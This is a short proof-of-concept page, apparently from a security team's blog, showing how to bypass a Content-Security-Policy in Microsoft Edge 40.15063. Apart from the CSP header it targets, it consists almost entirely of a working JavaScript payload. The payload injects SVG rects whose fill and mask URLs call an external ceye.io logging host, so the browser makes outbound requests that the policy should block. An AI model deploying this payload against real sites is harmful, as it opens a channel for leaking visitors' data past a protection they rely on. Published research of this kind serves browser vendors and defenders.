#### Microsoft Edge 40.15063 Version
PoC: http://server.n0tr00t.com/test/edge3.php
PiC: https://ws1.sinaimg.cn/large/c334041bgy1ffexx3u68oj20kq08rgma.jpg
**CSP RULE:**
```
header("Content-Security-Policy: default-src 'none' 'unsafe-inline';");
```
**Bypass:**
```
<script>
(function(){
var x = document.body.appendChild(document.createElement("svg"));
x.setAttribute("id", "n0tr00t");
x.setAttribute("xmlns", "http://www.w3.org/2000/svg");
/* fill & mask */
var svgNS = "http://www.w3.org/2000/svg";
var n0tr00t = document.getElementById('n0tr00t');
var fillurl = "url(http://csp32test2.edge.vqn3j8.ceye.io/fillbypass)";
var maskurl = "url(http://csp32test2.edge.vqn3j8.ceye.io/maskbypass)";
var nodeRect = n0tr00t.appendChild(document.createElementNS(svgNS, "rect"));
nodeRect.setAttribute("height", 200);
nodeRect.setAttribute("width", 200);
nodeRect.setAttribute("fill", fillurl);
nodeRect.setAttribute("stroke","#000000");
var nodeRect2 = n0tr00t.appendChild(document.createElementNS(svgNS, "rect"));
nodeRect2.setAttribute("height", 200);
nodeRect2.setAttribute("width", 200);
nodeRect2.setAttribute("fill", "green");
nodeRect2.setAttribute("mask", maskurl);
nodeRect2.setAttribute("stroke","#000000");
})()
</script>
```
京公网安备 11010502034610号
暂无评论